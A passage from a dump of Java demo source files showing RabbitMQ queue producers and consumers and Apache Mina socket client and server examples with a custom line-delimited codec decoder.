//这样RabbitMQ就会使得每个Consumer在同一个时间点最多处理一个Message。换句话说，在接收到该Consumer的ack前，他它不会将新的Message分发给它。\n    \n    QueueingConsumer consumer = new QueueingConsumer(channel);\n    channel.basicConsume(TASK_QUEUE_NAME, false, consumer);\n    \n    while (true) {\n      QueueingConsumer.Delivery delivery = consumer.nextDelivery();\n      String message = new String(delivery.getBody());\n      \n      System.out.println(\" [x] Received '\" + message + \"'\");\n      doWork(message);\n      System.out.println(\" [x] Done\");\n\n      channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n    }         \n  }\n  \n  private static void doWork(String task) throws InterruptedException {\n    for (char ch: task.toCharArray()) {\n      if (ch == '.') {\n\t\tThread.sleep(1000);\n\t}\n    }\n  }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/one2one/ClientReceive1.java",
    "content": "package com.jun.plugin.mq.rabbitmq.one2one;\nimport java.net.URISyntaxException;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.concurrent.TimeoutException;\n\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.QueueingConsumer;\npublic class ClientReceive1 {\n    public static final String queue_name=\"my_queue\";\n    public static final boolean autoAck=false;\n    public static final boolean durable=true;\n    public static void main(String[] args)\n    throws java.io.IOException,java.lang.InterruptedException, TimeoutException, KeyManagementException, NoSuchAlgorithmException, URISyntaxException{\n        ConnectionFactory factory=new ConnectionFactory();\n//        factory.setHost(\"localhost\");\n//        factory.setVirtualHost(\"my_mq\");\n//        factory.setUsername(\"zhxia\");\n//        factory.setPassword(\"123456\");\n        factory.setUri(\"amqp://guest:guest@172.26.129.3:5672\");//获取url\n        Connection connection=factory.newConnection();\n        Channel channel=connection.createChannel();\n        channel.queueDeclare(queue_name, durable, false, false, null);\n        System.out.println(\"Wait for message\");\n        channel.basicQos(1); //消息分发处理\n        QueueingConsumer consumer=new QueueingConsumer(channel);\n        channel.basicConsume(queue_name, autoAck, consumer);\n        while(true){\n            Thread.sleep(500);\n            QueueingConsumer.Delivery deliver=consumer.nextDelivery();\n            String message=new String(deliver.getBody());\n            System.out.println(\"Message received:\"+message);\n            channel.basicAck(deliver.getEnvelope().getDeliveryTag(), false);\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/one2one/ClientSend1.java",
    "content": "package com.jun.plugin.mq.rabbitmq.one2one;\nimport java.net.URISyntaxException;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.concurrent.TimeoutException;\n\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.MessageProperties;\npublic class ClientSend1 {\n    public static final String queue_name=\"my_queue\";\n    public static final boolean durable=true; //消息队列持久化\n    public static void main(String[] args)\n    throws java.io.IOException, TimeoutException, KeyManagementException, NoSuchAlgorithmException, URISyntaxException{\n        ConnectionFactory factory=new ConnectionFactory(); //创建连接工厂\n//        factory.setHost(\"localhost\");\n//        factory.setVirtualHost(\"my_mq\");\n//        factory.setUsername(\"zhxia\");\n//        factory.setPassword(\"123456\");\n        factory.setUri(\"amqp://guest:guest@172.26.129.3:5672\");//获取url\n        Connection connection=factory.newConnection(); //创建连接\n        Channel channel=connection.createChannel();//创建信道\n        channel.queueDeclare(queue_name, durable, false, false, null); //声明消息队列，且为可持久化的\n        String message=\"Hello world\"+Math.random();\n        //将队列设置为持久化之后，还需要将消息也设为可持久化的，MessageProperties.PERSISTENT_TEXT_PLAIN\n        channel.basicPublish(\"\", queue_name, MessageProperties.PERSISTENT_TEXT_PLAIN,message.getBytes());\n        System.out.println(\"Send message:\"+message);\n        channel.close();\n        connection.close();\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/one2one/Recv.java",
    "content": "package com.jun.plugin.mq.rabbitmq.one2one;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.rabbitmq.client.Channel;\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\nimport com.rabbitmq.client.QueueingConsumer;\n\n\n//消费者 (Consumer:数据的接收方)\n//单发送单接收  Send.java和Recv.java类\npublic class Recv {\n    \n    private final static String QUEUE_NAME = \"header_exchange\";\n\n    public static void main(String[] argv) throws Exception {\n\n    ConnectionFactory factory = new ConnectionFactory();\n   // factory.setHost(\"localhost\");\n   //  factory.setHost(\"127.0.0.1\");\n    factory.setUri(\"amqp://guest:guest@172.26.129.3:5672\");//获取url\n   // 打开连接和创建频道，与发送端一样  \n    Connection connection = factory.newConnection();\n    Channel channel = connection.createChannel();\n // 声明队列，主要为了防止消息接收者先运行此程序，队列还不存在时创建队列。  \n    channel.queueDeclare(QUEUE_NAME, false, false, false, null);\n    System.out.println(\" [*] Waiting for messages. To exit press CTRL+C\");\n  // 创建队列消费者  \n    QueueingConsumer consumer = new QueueingConsumer(channel);\n    // 指定消费队列\n    channel.basicConsume(QUEUE_NAME, true, consumer);\n    while (true) {  //消费者程序运行开着 如果生产者新增了数据会自动获取\n    \tThread.sleep(500);\n    \t List aa=new ArrayList();\n    \t // nextDelivery是一个阻塞方法（内部实现其实是阻塞队列的take方法）  \n      QueueingConsumer.Delivery delivery = consumer.nextDelivery();\n      String message = new String(delivery.getBody());\n      aa.add(message);\n      System.out.println(\"你好吗！\"+\" [x] Received '\" + message + \"'\"+aa);\n    }\n   \n  }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/one2one/Send.java",
    "content": "package com.jun.plugin.mq.rabbitmq.one2one;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.alibaba.fastjson.JSON;\nimport com.rabbitmq.client.Channel;\n//生产者 ( Producer:数据的发送方)\n//单发送单接收 //单发送单接收  Send.java和Recv.java类\nimport com.rabbitmq.client.Connection;\nimport com.rabbitmq.client.ConnectionFactory;\n\npublic class Send {\n    \n  private final static String QUEUE_NAME = \"header_exchange\"; //消息队列名\n\n  public static void main(String[] argv) throws Exception {\n           Map map=new HashMap();  \n           map.put(\"aa\", 11);\n           map.put(\"bb\", 22);\n           map.put(\"cc\", 33);\n           map.put(\"dd\", 44);\n           map.put(\"ff\", 1);\n\t System.out.println(\"你好啊！\");\n      //创建连接连接到MabbitMQ \n    ConnectionFactory factory = new ConnectionFactory();\n    // 设置MabbitMQ所在主机ip或者主机名  \n    // factory.setHost(\"localhost\");\n    //factory.setHost(\"127.0.0.1\");\n    \n  factory.setUri(\"amqp://guest:guest@172.26.129.3:5672\");//获取url\n    // 创建一个连接  \n    Connection connection = factory.newConnection();\n    // 创建一个频道 \n    Channel channel = connection.createChannel();\n    // 指定一个队列  \n    channel.queueDeclare(QUEUE_NAME, false, false, false, null);\n    //发送的消息\n    String message = JSON.toJSONString(map); \n    // 往队列中发出一条消息 \n    channel.basicPublish(\"\", QUEUE_NAME, null, message.getBytes()); //发送\n    System.out.println(\" [x] Sent '\" + message + \"'\");\n    // 关闭频道和连接  \n    channel.close();\n    connection.close();\n    \n    \n    \n  }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/mq/rabbitmq/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: rabbitMq 消息队列测试\n * Version:1.0.0  \n * @author pancm\n * @date 2017年11月7日\n */\npackage com.jun.plugin.mq.rabbitmq;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/ClientTestServer.java",
    "content": "package com.jun.plugin.nio.mina;\n\nimport java.net.InetSocketAddress;\nimport java.util.Arrays;\nimport java.util.HashMap;\n\nimport org.apache.mina.core.future.ConnectFuture;\nimport org.apache.mina.core.service.IoConnector;\nimport org.apache.mina.core.session.IoSession;\nimport org.apache.mina.filter.codec.ProtocolCodecFilter;\nimport org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;\nimport org.apache.mina.transport.socket.nio.NioSocketConnector;\n\nimport com.jun.plugin.nio.mina.demo.MinaClientHandler;\n\n\n/**\n * @author ZERO\n * @Data 2017-5-12 上午10:25:57\n * @Description \n */\npublic class ClientTestServer {  \n    \n    public IoConnector creatClient(){  \n        IoConnector connector=new NioSocketConnector();   \n        connector.setConnectTimeoutMillis(30000);   \n        connector.getFilterChain().addLast(\"codec\",   \n        new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));  \n        connector.setHandler(new MinaClientHandler());  \n        return connector;  \n    }  \n    public IoSession getIOSession(IoConnector connector){  \n        ConnectFuture future = connector.connect(new InetSocketAddress(\"192.168.2.55\", 1255));   \n        // 等待是否连接成功，相当于是转异步执行为同步执行。   \n        future.awaitUninterruptibly();   \n        // 连接成功后获取会话对象。 如果没有上面的等待， 由于connect()方法是异步的， session可能会无法获取。   \n        IoSession session = null;  \n        try{  \n            session = future.getSession();  \n        }catch(Exception e){  \n            e.printStackTrace();  \n        }  \n        return session;  \n    }  \n    public void sendMsg(IoSession session,String msg){  \n    \t\n            HashMap<String,String> sy=new HashMap<String, String>();           \n              sy.put(\"channel\", \"android\");\n              sy.put(\"deviceId\", \"12-ab\");\n              sy.put(\"device\", \"1456\");\n              sy.put(\"appVersion\", \"Version 1.5.1\");\n              sy.put(\"account\", \"This is test message\");\n            \n              sy.put(\"ss\",\"client_bind\");\n         //     logger.info(\"SentBody:\"+sy);\n           //   session.setAttribute(\"account\",\"hello world\");\n              session.write(sy);// 发送消息 \n    }  \n    public static void main(String[] args) {   \n        for(int i=0;i<4000;i++){  \n            ClientTestServer  client = new ClientTestServer();  \n            IoConnector connector = client.creatClient();  \n            IoSession session = client.getIOSession(connector);  \n            client.sendMsg(session,Arrays.toString(new byte[1000])+\":\"+System.currentTimeMillis());  \n        }  \n  \n    }  \n\n    }  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo/MinaClient.java",
    "content": "package com.jun.plugin.nio.mina.demo;\n\nimport java.net.InetSocketAddress;\nimport java.util.HashMap;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.future.ConnectFuture;\nimport org.apache.mina.core.service.IoConnector;\nimport org.apache.mina.core.session.IoSession;\nimport org.apache.mina.filter.codec.ProtocolCodecFilter;\nimport org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;\nimport org.apache.mina.transport.socket.nio.NioSocketConnector;\n\n\n/**\n * @author ZERO\n * @version 2017-3-27 下午5:59:54\n * mina 客户端\n */\npublic class MinaClient {\n    private static Logger logger = Logger.getLogger(MinaClient.class);\n    private static String HOST = \"127.0.0.1\";\n    private static int PORT = 1255;\n    private static  IoConnector connector=new NioSocketConnector();\n    private static   IoSession session;\n    public static IoConnector getConnector() {\n\t\treturn connector;\n\t}\n\n\tpublic static void setConnector(IoConnector connector) {\n\t\tMinaClient.connector = connector;\n\t}\n\n\t/* \n    * 测试服务端与客户端程序！\n    a. 启动服务端，然后再启动客户端\n    b. 服务端接收消息并处理成功;\n    */\n    @SuppressWarnings(\"deprecation\")\n\tpublic static void main(String[] args) {\n    \t   // 设置链接超时时间\n        connector.setConnectTimeout(30000);\n        // 添加过滤器  可序列话的对象 \n        connector.getFilterChain().addLast(\n                \"codec\",\n                new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));\n        // 添加业务逻辑处理器类\n        connector.setHandler(new MinaClientHandler());\n        ConnectFuture future = connector.connect(new InetSocketAddress(\n                HOST, PORT));// 创建连接\n        future.awaitUninterruptibly();// 等待连接创建完成\n        session = future.getSession();// 获得session\n        \n    \tbindstart();\n    \tpushstart();\n    }\n    \n    public static void bindstart(){\n    \tlogger.info(\"客户端绑定服务端\");\n    \t // 创建一个非阻塞的客户端程序 \n     \n        try {\n          \n        \tHashMap<String,String> sy=new HashMap<String, String>();           \n            sy.put(\"channel\", \"xiaoai\");\n            sy.put(\"deviceId\", \"12-ab\");\n            sy.put(\"device\", \"1456\");\n            sy.put(\"appVersion\", \"Version 1.5.1\");\n            sy.put(\"account\", \"0030000100009702\");\n          \n            sy.put(\"client_bind\",\"client_bind\");\n            logger.info(\"SentBody:\"+sy);\n         // session.setAttribute(\"account\",\"hello world\");\n            session.write(sy);// 发送消息\n            logger.info(\"终端与服务端建立连接成功...发送的消息为:\"+sy);\n        } catch (Exception e) {\n        \te.printStackTrace();\n            logger.error(\"客户端链接异常...\", e);\n        }\n//        session.getCloseFuture().awaitUninterruptibly();// 等待连接断开\n//        connector.dispose();\n    }\n    \n    public static void pushstart(){\n    \tlogger.info(\"客户端请求服务端推送\");\n   \t // 创建一个非阻塞的客户端程序 \n    //   IoConnector connector = new NioSocketConnector();\n       // 设置链接超时时间\n       try {\n            HashMap<String,String> sy=new HashMap<String, String>();\n           sy.put(\"closeTV\", \"closeTV\");\n           sy.put(\"account\", \"0030000100009702\"); //账号\n           \n           sy.put(\"put\",\"client_online\");\n           logger.info(\"SentBody:\"+sy.toString());\n        //   session.setAttribute(\"account\",\"hello world\");\n           session.write(sy);// 发送消息\n           logger.info(\"客户端与服务端建立连接成功...发送的消息为:\"+sy);\n       } catch (Exception e) {\n       \t   e.printStackTrace();\n           logger.error(\"客户端链接异常...\", e);\n       }\n//       session.getCloseFuture().awaitUninterruptibly();// 等待连接断开\n//       connector.dispose();\n   }\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo/MinaClientHandler.java",
    "content": "package com.jun.plugin.nio.mina.demo;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.service.IoHandlerAdapter;\nimport org.apache.mina.core.session.IoSession;\n\n\n/**\n * @author ZERO\n * @version 2017-3-27 ??6:01:31\n * 客户端handle\n */\npublic class MinaClientHandler extends IoHandlerAdapter {\n    private static Logger logger = Logger.getLogger(MinaClientHandler.class);\n\n    @Override\n    public void messageReceived(IoSession session, Object message)\n            throws Exception {\n        String msg = message.toString();\n        logger.info(\"客户端接收的数据:\" + msg);\n      //  if(msg.equals(XiaoaiConstant.CMD_HEARTBEAT_REQUEST)){\n        \tlogger.warn(\"成功收到心跳包\");\n    //    \tsession.write(XiaoaiConstant.CMD_HEARTBEAT_RESPONSE);\n   //     }\n       \n    }\n\n    @Override\n    public void exceptionCaught(IoSession session, Throwable cause)\n            throws Exception {\n        logger.error(\"发生错误...\", cause);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo/MinaServer.java",
    "content": "package com.jun.plugin.nio.mina.demo;\n\nimport java.net.InetSocketAddress;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.service.IoAcceptor;\nimport org.apache.mina.core.session.IdleStatus;\nimport org.apache.mina.filter.codec.ProtocolCodecFilter;\nimport org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;\nimport org.apache.mina.transport.socket.nio.NioSocketAcceptor;\n\n\n/**\n * @author ZERO:\n * @version 2017-3-27 下午3:20:11\n * 创建服务端\n */\npublic class MinaServer {\n\t\t//记录日志\n\tpublic static Logger logger=Logger.getLogger(MinaServer.class);\n\tprivate static int PORT=3333;\n\t\n\t/* 启动此类 提示服务端运行成功后\n\t * Windows 命令 输入  telnet 127.0.0.1 3305\n\t * 然后输入消息  message\n\t * 消息为bye的时候关闭连接\n\t * */\n\tpublic static void main(String[] args) {\n\t       IoAcceptor ia=null;\n\t       try{\n\t    \t   //创建一个非堵塞的server端Socket\n\t    \t  ia=new NioSocketAcceptor();\n\t    \t  //创建 协议编码解码过滤器ProtocolCodecFilter\n//\t    \t  ProtocolCodecFilter pf=new ProtocolCodecFilter(new TextLineCodecFactory(Charset\n//                      .forName(\"UTF-8\"),\n//                      LineDelimiter.WINDOWS.getValue(),\n//                      LineDelimiter.WINDOWS.getValue()));\n\t    \t  //设置端口\n\t    \t  InetSocketAddress pt=new InetSocketAddress(PORT);\n\t        \t// 设置过滤器（使用Mina提供的文本换行符编解码器）\n\t    \t  ia.getFilterChain().addLast(\"codec\", new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));\n\t    \t  //设置读取数据的缓存区大小\n\t    \t  ia.getSessionConfig().setReadBufferSize(2048);\n\t    \t  //读写通道10秒内无操作进入空闲状态\n\t    \t  ia.getSessionConfig().setIdleTime(IdleStatus.BOTH_IDLE, 10);\n\t    \t  //绑定逻辑处理器\n\t    \t  ia.setHandler(new MinaServerHandler());\n\t    \t  //绑定端口\n\t    \t  ia.bind(pt);\n\t    \t  logger.info(\"服务端启动成功...端口号为:\"+PORT);\n\t    \t   \n\t       }catch(Exception e){\n\t    \t   logger.error(\"服务器的异常...\"+e);\n\t    \t   e.printStackTrace();\n\t       }\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo/MinaServerHandler.java",
    "content": "package com.jun.plugin.nio.mina.demo;\n\nimport java.net.InetSocketAddress;\nimport java.util.Date;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.service.IoHandlerAdapter;\nimport org.apache.mina.core.session.IdleStatus;\nimport org.apache.mina.core.session.IoSession;\n\n\n/**\n * @author ZERO:\n * @version 2017-3-27 下午3:59:33\n * 业务逻辑实现\n */\npublic class MinaServerHandler extends IoHandlerAdapter {\n\tpublic static Logger logger=Logger.getLogger(MinaServerHandler.class);\n\t\n\t@Override\n\tpublic void sessionCreated(IoSession iosession) throws Exception{ \n\t\tInetSocketAddress sa=(InetSocketAddress)iosession.getRemoteAddress();\n\t\tString address=sa.getAddress().getHostAddress(); //访问的ip\n\t\tlogger.info(\"服务端与客户端创建连接...\"+\"访问的IP:\"+address);\n\t}\n    \n\t\n\t@Override\n\tpublic void sessionOpened(IoSession iosession) throws Exception{ \n\t\tlogger.info(\"服务端与客户端连接打开...\");\n\t}\n    \n\t@Override\n\tpublic void messageReceived(IoSession session,Object message) throws Exception{\n\t\t String msg=message.toString();\n\t\t logger.info(\"服务端收到的数据为:\"+msg);\n\t\t if(\"bye\".equals(msg)){  //服务端断开的条件\n\t\t\t session.close();\n\t\t }\n\t\t Date date=new Date();\n\t\t session.write(date); //返回给服务端数据\n\t}\n\n\t @Override\n\t    public void messageSent(IoSession session, Object message) throws Exception {\n//\t        session.close(); //发送成功后主动断开与客户端的连接\n\t        logger.info(\"服务端发送信息成功...\");\n\t    }\n\n\t    @Override\n\t    public void sessionClosed(IoSession session) throws Exception {\n\t    }\n\n\t    @Override\n\t    public void sessionIdle(IoSession session, IdleStatus status)\n\t            throws Exception {\n\t        logger.info(\"服务端进入空闲状态...\");\n\t    }\n\n\t    @Override\n\t    public void exceptionCaught(IoSession session, Throwable cause)\n\t            throws Exception {\n\t        logger.error(\"服务端发送异常...\", cause);\n\t    }\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MinaClient.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport java.net.InetSocketAddress;\nimport java.nio.charset.Charset;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.future.ConnectFuture;\nimport org.apache.mina.core.service.IoConnector;\nimport org.apache.mina.core.session.IoSession;\nimport org.apache.mina.filter.codec.ProtocolCodecFilter;\nimport org.apache.mina.transport.socket.nio.NioSocketConnector;\n\n/**\n * @author ZERO\n * @version 2017-3-27 下午5:59:54\n * mina 客户端\n */\npublic class MinaClient {\n    private static Logger logger = Logger.getLogger(MinaClient.class);\n    private static String HOST = \"127.0.0.1\";\n    private static int PORT = 3305;\n    \n   /* \n    * 测试服务端与客户端程序！\n    a. 启动服务端，然后再启动客户端（客户端发送的消息是\"why are you so diao \"）\n    b. 服务端接收消息并处理成功;\n    */\n    public static void main(String[] args) {\n        // 创建一个非阻塞的客户端程序\n        IoConnector connector = new NioSocketConnector();\n        // 设置链接超时时间\n        connector.setConnectTimeout(30000);\n        ProtocolCodecFilter pf=new ProtocolCodecFilter((new MyTextLineCodecFactory(Charset .forName(\"utf-8\"), \"\\r\\n\")));\n        // 添加过滤器\n        connector.getFilterChain().addLast(\"codec\", pf);\n        // 添加业务逻辑处理器类\n        connector.setHandler(new MinaClientHandler());\n        IoSession session = null;\n        try {\n            ConnectFuture future = connector.connect(new InetSocketAddress(\n                    HOST, PORT));// 创建连接\n            future.awaitUninterruptibly();// 等待连接创建完成\n            session = future.getSession();// 获得session\n            String msg=\"hello \\r\\n\";\n            session.write(msg);// 发送消息\n            logger.info(\"客户端与服务端建立连接成功...发送的消息为:\"+msg);\n        } catch (Exception e) {\n        \te.printStackTrace();\n            logger.error(\"客户端链接异常...\", e);\n        }\n        session.getCloseFuture().awaitUninterruptibly();// 等待连接断开\n        connector.dispose();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MinaClientHandler.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.service.IoHandlerAdapter;\nimport org.apache.mina.core.session.IoSession;\n\n/**\n * @author ZERO\n * @version 2017-3-27 下午6:01:31\n * 业务逻辑过滤器代码\n */\npublic class MinaClientHandler extends IoHandlerAdapter {\n    private static Logger logger = Logger.getLogger(MinaClientHandler.class);\n\n    @Override\n    public void messageReceived(IoSession session, Object message)\n            throws Exception {\n        String msg = message.toString();\n        logger.info(\"客户端接收到的信息为：\" + msg);\n    }\n\n    @Override\n    public void exceptionCaught(IoSession session, Throwable cause)\n            throws Exception {\n        logger.error(\"客户端发生异常...\", cause);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MinaServer.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport java.net.InetSocketAddress;\nimport java.nio.charset.Charset;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.service.IoAcceptor;\nimport org.apache.mina.core.session.IdleStatus;\nimport org.apache.mina.filter.codec.ProtocolCodecFilter;\nimport org.apache.mina.transport.socket.nio.NioSocketAcceptor;\n\n\n\n\n\n\n/**\n * @author ZERO:\n * @version 2017-3-28 上午10:20:11\n * 创建服务端\n */\npublic class MinaServer {\n\t\t//记录日志\n\tpublic static Logger logger=Logger.getLogger(MinaServer.class);\n\tprivate static int PORT=3305;\n\t\n\t/* 启动此类 提示服务端运行成功后\n\t * Windows 命令 输入  telnet 127.0.0.1 3305\n\t * 然后输入消息  message\n\t * 消息为bye的时候关闭连接\n\t * */\n\tpublic static void main(String[] args) {\n\t\t\tnew MinaServer().start();\n\t}\n\t\n\tpublic void start() {\n\t\t IoAcceptor ia=null;\n\t       try{\n\t    \t   //创建一个非堵塞的server端Socket\n\t    \t  ia=new NioSocketAcceptor();\n\t    \t  //创建 自定义协议编码解码过滤器ProtocolCodecFilter\n\t    \t  ProtocolCodecFilter pf=new ProtocolCodecFilter((new MyTextLineCodecFactory(Charset .forName(\"utf-8\"), \"\\r\\n\")));\n\t    \t  //设置端口\n\t    \t  InetSocketAddress pt=new InetSocketAddress(PORT);\n\t        \t// 设置过滤器（使用Mina提供的文本换行符编解码器）\n\t    \t  ia.getFilterChain().addLast(\"codec\", pf);\n\t    \t  //设置读取数据的缓存区大小\n\t    \t  ia.getSessionConfig().setReadBufferSize(2048);\n\t    \t  //读写通道10秒内无操作进入空闲状态\n\t    \t  ia.getSessionConfig().setIdleTime(IdleStatus.BOTH_IDLE, 10);\n\t    \t  //绑定逻辑处理器\n\t    \t  ia.setHandler(new MinaServerHandler());\n\t    \t  //绑定端口\n\t    \t  ia.bind(pt);\n\t    \t  logger.info(\"服务端启动成功...端口号为:\"+PORT);\n\t    \t   \n\t       }catch(Exception e){\n\t    \t   logger.error(\"服务器的异常...\"+e);\n\t    \t   e.printStackTrace();\n\t       }\n\t\t\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MinaServerHandler.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport java.util.Date;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.service.IoHandlerAdapter;\nimport org.apache.mina.core.session.IdleStatus;\nimport org.apache.mina.core.session.IoSession;\n\n\n/**\n * @author ZERO:\n * @version 2017-3-27 下午3:59:33\n * 业务逻辑实现\n */\npublic class MinaServerHandler extends IoHandlerAdapter {\n\tpublic static Logger logger=Logger.getLogger(MinaServerHandler.class);\n\t\n\t@Override\n\tpublic void sessionCreated(IoSession session) throws Exception{ \n\t\tlogger.info(\"服务端与客户端创建连接...\");\n\t\tsuper.sessionCreated(session);\n\t}\n    \n\t\n\t@Override\n\tpublic void sessionOpened(IoSession session) throws Exception{ \n\t\tlogger.info(\"服务端与客户端连接打开...\");\n\t\t super.sessionOpened(session);\n\t}\n    \n\t@Override\n\tpublic void messageReceived(IoSession session,Object message) throws Exception{\n\t\t String msg=message.toString();\n\t\t logger.info(\"服务端收到的数据为:\"+msg);\n\t\t if(\"bye\".equals(msg)){  //服务端断开的条件\n\t\t\t session.close();\n\t\t }\n\t\t Date date=new Date();\n\t\t String mg=\"Come on:\"+date;\n\t\t logger.info(\"服务端返回给客户端的数据:\"+mg);\n\t\t session.write(mg); //返回给服务端数据\n\t}\n\n\t @Override\n\t    public void messageSent(IoSession session, Object message) throws Exception {\n\t\t \tlogger.info(\"服务端发送数据 = \"+message);\n//\t\t \tsession.close(); //发送成功后主动断开与客户端的连接 实现短连接\n\t        logger.info(\"服务端发送信息成功...\");\n\t    }\n\n\t    @Override\n\t    public void sessionClosed(IoSession session) throws Exception {\n\t    \t logger.info(\"断开连接\");\n\t    \tsuper.sessionClosed(session);\n\t    }\n\n\t    @Override\n\t    public void sessionIdle(IoSession session, IdleStatus status)\n\t            throws Exception {\n\t        logger.info(\"服务端进入空闲状态...\");\n\t        super.sessionIdle(session, status);\n\t    }\n\n\t    @Override\n\t    public void exceptionCaught(IoSession session, Throwable cause)\n\t            throws Exception {\n\t        logger.error(\"服务端发送异常...\", cause);\n\t        super.exceptionCaught(session, cause);\n\t    }\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/mina/demo1/MyTextLineCodecDecoder.java",
    "content": "package com.jun.plugin.nio.mina.demo1;\n\nimport java.nio.charset.CharacterCodingException;\nimport java.nio.charset.Charset;\nimport java.nio.charset.CharsetDecoder;\n\nimport org.apache.log4j.Logger;\nimport org.apache.mina.core.buffer.IoBuffer;\nimport org.apache.mina.core.session.IoSession;\nimport org.apache.mina.filter.codec.ProtocolDecoder;\nimport org.apache.mina.filter.codec.ProtocolDecoderOutput;\n\n/**\n * @author ZERO\n * @version 2017-3-28 上午10:44:55\n * 设置编码解码器\n */\n\npublic class MyTextLineCodecDecoder implements ProtocolDecoder {\n\t\t private static Logger logger = Logger.getLogger(MyTextLineCodecDecoder.class);\n\t\t   \n\t\t private Charset charset; // 编码格式\n\t\t   \n\t\t private String delimiter;     // 文本分隔符\n\t\t private IoBuffer delimBuf; // 文本分割符匹配的变量\n\t\t   \n\t\t // 定义常量值，作为每个IoSession中保存解码任务的key值\n\t\t private static String CONTEXT = MyTextLineCodecDecoder.class.getName() + \".context\";  \n\t\t\n\t\t public MyTextLineCodecDecoder(Charset charset,String delimiter){\n\t\t\t this.charset=charset;\n\t\t\t this.delimiter=delimiter;\n\t\t }\n\t    \n\t \n\t\t@Override\n\t\tpublic void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out)\n\t\t\t\tthrows Exception {\n\t\t\tContext ctx = getContext(session);\n\t        if (delimiter == null || \"\".equals(delimiter)) {\n\t            // 如果文本换行符未指定，使用默认值\n\t            delimiter = \"\\r\\n\";\n\t        }\n\t\n\t        if (charset == null) {\n\t            charset = Charset.forName(\"utf-8\");\n\t        }\n\t        decodeNormal(ctx, in, out);\n\t\t\t\n\t\t}\n\t\n\t\t  private void decodeNormal(Context ctx, IoBuffer in, ProtocolDecoderOutput out) throws CharacterCodingException {\n\t\t       \n\t\t        // 取出未完成任务中已经匹配的文本换行符的个数\n\t\t        int matchCount = ctx.getMatchCount();\n\t\t   \n\t\t        // 设置匹配文本换行符的IoBuffer变量\n\t\t        if (delimBuf == null) {\n\t\t            IoBuffer tmp = IoBuffer.allocate(2).setAutoExpand(true);\n\t\t            tmp.putString(delimiter, charset.newEncoder());\n\t\t            tmp.flip();\n\t\t            delimBuf = tmp;\n\t\t        }\n\n\t\t        //解码的IoBuffer中数据的原始信息\n\t\t        int oldPos = in.position();  //输出值为0\n\t\t        int oldLimit = in.limit();   //输出值为1\n\t\t               \n\t\t        logger.info(\"******************************************************************************\");       \n\t\t        logger.info(\"开始进入解码方法-----------------------------------------------------------------\");\n\t\t        logger.info(\"\");\n\t\t        logger.info(\"init Start--------------------------------------------------------------------\");\n\t\t        logger.info(\"in.postion() = \"+oldPos);\n\t\t        logger.info(\"in.Limit() = \"+oldLimit);\n\t\t        logger.info(\"in.capacity() = \"+in.capacity());\n\t\t        logger.info(\"matchCount = \"+matchCount);\n\t\t        logger.info(\"init End---------------------------------------------------------------------\");\n\t\t        logger.info(\"\");\n\t\t       \n\t\t        //变量解码的IoBuffer\n\t\t        while (in.hasRemaining()) {           \n\t\t           \n\t\t            byte b = in.get();           \n\t\t            logger.info(\"\");\n\t\t            logger.info(\"输入进来的字符为 = \"+(char)b+\",对应的ascii值 = \"+b);\n\t\t            